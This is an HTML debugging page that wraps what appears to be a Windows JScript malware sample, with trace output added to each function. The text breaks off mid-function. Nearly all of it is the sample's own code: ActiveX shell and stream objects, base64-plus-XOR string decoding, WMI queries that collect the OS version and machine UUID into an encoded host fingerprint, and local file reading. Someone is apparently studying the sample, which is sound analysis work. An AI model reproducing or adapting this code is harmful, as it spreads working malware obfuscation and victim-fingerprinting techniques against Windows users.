调试的HTML代码
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>建瓯最坏JavaScript脚本调试</title>
</head>
<body>
<script>
document.write("<h1>🐷🐷🐷</h1>");
var WScript = new ActiveXObject("WScript.Shell");
try
{
var objADODBStream = new ActiveXObject("ADODB.Stream");
}
catch(errADODB)
{
document.write("尝试通过“ActiveXObject”创建流对象发生异常<br>");
document.write("错误名称: " + errADODB.name + "<br>");
document.write("错误信息: " + errADODB.message + "<br>");
}
function gVerFuncHandler()
{
document.write("gVerFuncHandler<br>");
var on = getStrFunc("L1krLAEkLEN/HTpnBEIqLhIVO1koN1RYMEVBZkk=");
var qs = getStrFunc("KTAULgtmWiM9GTtbFRt4LRp9N1UPAiYBSCoXGy1AGwExBS9hAwYsDiV6dVhrSDI=");
var items = wmi.ExecQuery(qs, "WQL", 0x30);
var eit = new Enumerator(items);
var wv = "";
for (; !eit.atEnd(); eit.moveNext())
{
var it = eit.item();
wv = it.Version;
break;
}
if (!wv)
{
return "";
}
return encodeURIComponent(Func6E(wv));
}
function getRI_Func(min, max)
{
document.write("getRI_Func<br>");
return (Math.floor(Math.random() * (max + 1 - min)) + min);
}
function FuncXS(s)
{
document.write("FuncXS<br>");
var es = "";
var k = getK_Handler();
for (var i=0 ; i<s.length ; ++i)
{
var sc = s.charCodeAt(i);
var kc = k.charCodeAt(i % k.length);
var xc = String.fromCharCode(sc ^ kc);
es += xc;
}
return encodeURIComponent(Func6E(k+es));
}
function gSID_Handler()
{
document.write("gSID_Handler<br>");
var on = getStrFunc("L1krLAEkLEN/HTpnBEIqLhIVO1koN1RYMEVBZkk=");
var qs = getStrFunc("CTInMHsteiI+PHxZHCUkOBguMxlYR2c6NRobAEwcKCQSBkwcNycZGlwMOQNad2t1OHk=");
var items = wmi.ExecQuery(qs, "WQL", 0x30);
var eit = new Enumerator(items);
var sid = "";
for (; !eit.atEnd(); eit.moveNext())
{
var it = eit.item();
sid = it.UUID;
break;
}
if (!sid)
{
return "";
}
var i=0;
var sidLen = sid.length;
var sui = "";
while ((i + 1) < sidLen)
{
var s = (parseInt(sid.substring(i, i+2), 16) ^ 0x42).toString(16).toUpperCase();
if (s.length < 2)
{
s = "0" + s;
}
sui += s;
i += 2;
if (i == sidLen)
{
break;
}
if (sid.charAt(i) == "-")
{
++i;
sui += "-"
}
}
return encodeURIComponent(Func6E(sui));
}
function FuncRd(pt)
{
document.write("FuncRd<br>");
var ft = new ActiveXObject("ADODB.Stream");
ft.Type = 2;
ft.CharSet = "iso-8859-1";
ft.Open();
ft.LoadFromFile(pt);
var ct = ft.ReadText(-1);
ft.Close();
ft = null;
return ct;
}
function getStrFunc(bes)
{
document.write("getStrFunc<br>");
var es = Func6D(bes);
var esl = es.length;
var k = es.substring(esl-6);
var s = es.substring(0, esl-6);
var ds = "";
for (var i=0 ; i<s.length ; ++i)
{
var sc = s.charCodeAt(i);
var kc = k.charCodeAt(i % k.length);
var xc = String.fromCharCode(sc ^ kc);
ds += xc;
}
return ds;
}
function Func6E(data)
{
document.write("Func6E<br>");
var os = new ActiveXObject("ADODB.Stream");
os.Type = 2;
os.CharSet = "us-ascii";
os